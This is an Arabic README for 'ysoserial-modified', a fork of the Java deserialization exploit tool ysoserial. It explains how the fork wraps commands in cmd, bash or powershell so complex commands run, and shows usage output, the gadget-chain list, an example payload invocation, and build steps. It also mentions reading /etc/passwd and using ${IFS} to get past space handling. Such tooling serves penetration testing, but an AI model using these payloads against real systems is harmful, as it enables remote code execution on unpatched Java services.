
يحتوي هذا المستودع على تحديثاتي لأداة استغلال إلغاء تسلسل Java المعروفة ysoserial.
هذه نسخة فرعية (fork) من تطبيق ysoserial الأصلي الموجود هنا: https://github.com/frohoff/ysoserial
نظرًا لكيفية عمل Runtime.getRuntime().exec(String.class) في جافا، فإن الأوامر المتداخلة والمعقدة التي تحتاج فيها إلى التحكم في الأنابيب (pipes) أو إرسال المخرجات إلى ملفات (مثل: cat /etc/passwd > /tmp/passwd_copy) لن تعمل، لأن الأمر الذي تنفذه طريقة exec() من كلاس Runtime لا يتم تنفيذه داخل بيئة طرفية (terminal). أحد الحلول الممكنة هو تنفيذ "/bin/sh -c 'command'" لكنك ستحتاج إلى تخطي حرف المسافة في command باستخدام ${IFS} وإلا فلن يعمل الأمر كما هو متوقع. لمزيد من التفاصيل حول هذه المشكلة والحلول البديلة الممكنة، يرجى قراءة هذه المقالة التي تتناول التفاصيل بعمق.
الحل الجيد لهذه المشكلة هو تمرير الوسائط إلى الطريقة Runtime.getRuntime().exec(String[].class) التي تتوقع مصفوفة من السلاسل النصية (Strings). الخيار الأفضل هو تنفيذ ما يلي: Runtime.getRuntime().exec(new String[] {"/bin/sh", "-c", "command"}). بتمرير الوسائط بهذه الطريقة، ستفهم جافا أنك تنفذ /bin/bash مع تمرير الوسيطتين -c وcommand بالطريقة الصحيحة، وستنفذ أمرك داخل بيئة طرفية، مما سيسمح لك باستخدام أوامر متداخلة أو معقدة (مع | أو ;) وكذلك التحكم في المدخلات والمخرجات (مع < و >).
وبناءً على ذلك، أضفت وظيفة إلى ysoserial تتيح لك تحديد نوع الطرفية التي تريد استخدامها لتنفيذ أمرك (cmd / bash / powershell أو none) وسيقوم تعديلي بتنفيذ أمرك داخل سياق تلك الطرفية، مما يتيح لك تنفيذ أي أمر معقد كما ينبغي أن يعمل!
pimps@Scorpion:~/git/ysoserial-modified/target$ java -jar ysoserial-modified.jar
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'
ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'
Available payload types:
BeanShell1 [org.beanshell:bsh:2.0b5]
C3P0 [com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11]
CommonsBeanutils1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
CommonsCollections1 [commons-collections:commons-collections:3.1]
CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
CommonsCollections3 [commons-collections:commons-collections:3.1]
CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
CommonsCollections5 [commons-collections:commons-collections:3.1]
CommonsCollections6 [commons-collections:commons-collections:3.1]
FileUpload1 [commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4]
Groovy1 [org.codehaus.groovy:groovy:2.3.9]
Hibernate1 []
...
قم بتنزيل ملف jar المُجمَّع من مجلد /target في هذا المستودع أو فقط انقر هنا
لتجميعه بنفسك:
يتطلب Java 1.7+ و Maven 3.x+
$ git clone https://github.com/pimps/ysoserial-modified.git
$ cd ysoserial-modified
$ mvn clean package -DskipTests
سيتم وضع ملف jar في مجلد target